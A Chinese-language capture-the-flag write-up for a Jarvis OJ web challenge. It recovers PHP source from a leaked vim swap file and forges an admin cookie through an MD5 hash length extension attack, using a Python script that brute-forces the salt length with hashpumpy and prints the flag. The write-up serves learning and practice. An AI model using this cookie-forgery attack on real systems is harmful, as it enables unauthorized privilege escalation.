WEB-flag在管理员手里 #md5($salt.strrev)#hash拓展

描述

只有管理员才能获得flag,你能想办法获得吗?Only Admin can see the flag!!题目链接:http://web.jarvisoj.com:32778/

分析

  1. 抓包看见:Cookie: role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
    解url编码得到role=s:5:"guest";那么就改成 role=s%3A5%3A%22Admin%22%3B,嗯,不行,人家又没那么傻。于是变成了hsh值的问题。
  2. 随便试试把hsh参数删掉,回显Notice: Undefined index: hsh in /opt/lampp/htdocs/index.php on line 20
  3. 走投无路,找源码泄露。扫描发现index.php~,访问下了个vim临时文件(.index.php.swp),vim -r index.php后保存。
        Welcome Admin. Your flag is 
            } else {
                echo "

Only Admin can see the flag!!

"; } ?>

结论有:
a.role === admin
b. hsh === md5($salt.strrev($_COOKIE["role"]))
已知md5(salt+';"tseug":5:s')——3a4727d57463f122833d9e732f94e4e0,需要得到md5(salt+';"nimda":5:s')作为hsh提交。注意那个rev!

  1. 熟悉的节奏!类似hash拓展攻击!但是略有不同!
    已经做过的hash拓展攻击:
    hash_extender:已知hash{secret(已知长度)},求hash{secret (已知长度)|| data (填充字段)|| attacker_controlled_data(自定义字符串)}
    hashpumpy:hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
    本题:已知md5(secret(未知长度)+string1),求md5{secret||%00等填充字段||2string}
    最大的不同就是不知道salt长度!能有多长!到64够不够!爆破不就可以了!
  2. 卡壳求助场外:
    PHP在反序列化时,会忽略后面多余的字符。所以其实可以变成求md5(salt+';"tseug":5:s'+填充字段+';"nimda":5:s'),这样就可以套上hash拓展攻击了!
  3. 撸代码。
    a. 一开始疯狂的跟我说无法识别
    14 {'hsh': 'fcdc3840332555511c4e4323f6decb07', 'role': 's:5:"admin";\x00\x00\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80s:5:"guest";'}

    Your browser sent a request that this server could not understand.

    翻了资料发现hashpumpy还要手动把\x改成%?可是上次不是说好了不用改吗QAQ,说好的requests会自动url编码呢!
    搜了下发现requests会自动把url和post字段进行url编码,但是cookies不会!
    诶那上次的不是post吗为什么要decode('hex')!仔细看了下上次的结果是bytes,r'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',好吧!
    b. 改成urllib.quote(message[::-1])后搞定
    12 {'hsh': 'fcdc3840332555511c4e4323f6decb07', 'role': 's%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B'} Wel come Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3}

# -*- coding: utf-8 -*-
import requests,hashpumpy,urllib
def webre(): #py2
    url = 'http://web.jarvisoj.com:32778/'
    sha = '3a4727d57463f122833d9e732f94e4e0'
    string0 = ';"tseug":5:s'
    string1 = ';"nimda":5:s'
    for i in range(15):
        digest, message = hashpumpy.hashpump(sha,string0,string1,i)
        payload ={'role':urllib.quote(message[::-1]), 'hsh':digest}
        #payload ={'role':(message[::-1]), 'hsh':digest}
        print i,payload
        html = requests.get(url,cookies=payload).text#提交答案
        if 'Welcome' in html:
            print html
        
webre()

你可能感兴趣的:(WEB-flag在管理员手里 #md5($salt.strrev)#hash拓展)